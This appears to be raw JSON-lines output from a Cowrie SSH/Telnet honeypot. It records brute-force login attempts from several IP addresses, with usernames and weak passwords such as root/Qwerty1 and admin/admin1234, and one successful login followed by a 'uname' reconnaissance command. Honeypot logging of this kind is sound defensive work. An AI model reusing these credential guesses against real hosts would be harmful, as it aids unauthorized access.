{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:03.535619Z","src_ip":"192.109.200.237","session":"21326f401608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:03.617763Z","src_ip":"192.109.200.237","session":"21326f401608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:04.063499Z","src_ip":"192.109.200.237","session":"21326f401608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:05.150261Z","src_ip":"192.109.200.237","session":"21326f401608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59208,"dst_ip":"159.203.135.109","dst_port":22,"session":"e138b6f0a01b","protocol":"ssh","message":"New connection: 192.109.200.237:59208 (159.203.135.109:22) [session: e138b6f0a01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:07.173911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:07.178939Z","src_ip":"192.109.200.237","session":"e138b6f0a01b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:07.261225Z","src_ip":"192.109.200.237","session":"e138b6f0a01b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:07.508640Z","src_ip":"192.109.200.237","session":"e138b6f0a01b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:07.715747Z","src_ip":"192.109.200.237","session":"e138b6f0a01b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:07.719398Z","src_ip":"192.109.200.237","session":"e138b6f0a01b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:07.805312Z","src_ip":"192.109.200.237","session":"e138b6f0a01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:07.811549Z","src_ip":"192.109.200.237","session":"e138b6f0a01b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60800,"dst_ip":"10.17.0.5","dst_port":23,"session":"154f68d53736","protocol":"telnet","message":"New connection: 50.6.8.71:60800 (10.17.0.5:23) [session: 154f68d53736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:08.338714Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57870,"dst_ip":"159.203.135.109","dst_port":22,"session":"de73ad00bd9d","protocol":"ssh","message":"New connection: 192.109.200.237:57870 (159.203.135.109:22) [session: de73ad00bd9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:10.563156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:10.568098Z","src_ip":"192.109.200.237","session":"de73ad00bd9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:10.650600Z","src_ip":"192.109.200.237","session":"de73ad00bd9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:10.897296Z","src_ip":"192.109.200.237","session":"de73ad00bd9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60814,"dst_ip":"10.17.0.5","dst_port":23,"session":"04d558346705","protocol":"telnet","message":"New connection: 50.6.8.71:60814 (10.17.0.5:23) [session: 04d558346705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:12.051307Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:12.118310Z","src_ip":"192.109.200.237","session":"de73ad00bd9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57878,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ca9da10cdbe","protocol":"ssh","message":"New connection: 192.109.200.237:57878 (159.203.135.109:22) [session: 0ca9da10cdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:13.898040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:13.903318Z","src_ip":"192.109.200.237","session":"0ca9da10cdbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:13.985504Z","src_ip":"192.109.200.237","session":"0ca9da10cdbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:14.232490Z","src_ip":"192.109.200.237","session":"0ca9da10cdbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40908,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab3072fe2e7","protocol":"ssh","message":"New connection: 103.195.236.96:40908 (10.17.0.5:22) [session: aab3072fe2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:15.006594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:15.013150Z","src_ip":"103.195.236.96","session":"aab3072fe2e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:15.250361Z","src_ip":"103.195.236.96","session":"aab3072fe2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:15.318647Z","src_ip":"192.109.200.237","session":"0ca9da10cdbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfgh01","message":"login attempt [root/asdfgh01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:15.987546Z","src_ip":"103.195.236.96","session":"aab3072fe2e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37798,"dst_ip":"159.203.135.109","dst_port":22,"session":"a815975f1e32","protocol":"ssh","message":"New connection: 80.94.92.184:37798 (159.203.135.109:22) [session: a815975f1e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:16.394160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:16.595855Z","src_ip":"80.94.92.184","session":"a815975f1e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:16.599542Z","src_ip":"80.94.92.184","session":"a815975f1e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.148255825042725,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:16.645484Z","src_ip":"50.6.8.71","session":"a6a08cde75d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:17.225686Z","src_ip":"103.195.236.96","session":"aab3072fe2e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57892,"dst_ip":"159.203.135.109","dst_port":22,"session":"c534aa2c4fd7","protocol":"ssh","message":"New connection: 192.109.200.237:57892 (159.203.135.109:22) [session: c534aa2c4fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:17.462751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:17.467466Z","src_ip":"192.109.200.237","session":"c534aa2c4fd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:17.549858Z","src_ip":"192.109.200.237","session":"c534aa2c4fd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:17.798985Z","src_ip":"192.109.200.237","session":"c534aa2c4fd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:18.884813Z","src_ip":"192.109.200.237","session":"c534aa2c4fd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:18.911974Z","src_ip":"80.94.92.184","session":"a815975f1e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:20.024855Z","src_ip":"80.94.92.184","session":"a815975f1e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32886,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f334032962f","protocol":"ssh","message":"New connection: 192.109.200.237:32886 (159.203.135.109:22) [session: 4f334032962f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:20.778679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:20.783041Z","src_ip":"192.109.200.237","session":"4f334032962f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:20.867147Z","src_ip":"192.109.200.237","session":"4f334032962f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:21.113752Z","src_ip":"192.109.200.237","session":"4f334032962f","protocol":"ssh"}
